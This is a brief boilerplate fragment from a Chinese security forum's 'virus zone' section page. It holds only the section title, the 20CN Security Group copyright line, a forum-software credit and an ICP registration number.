论坛: 病毒专区

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写：NetDemon

粤ICP备05087286号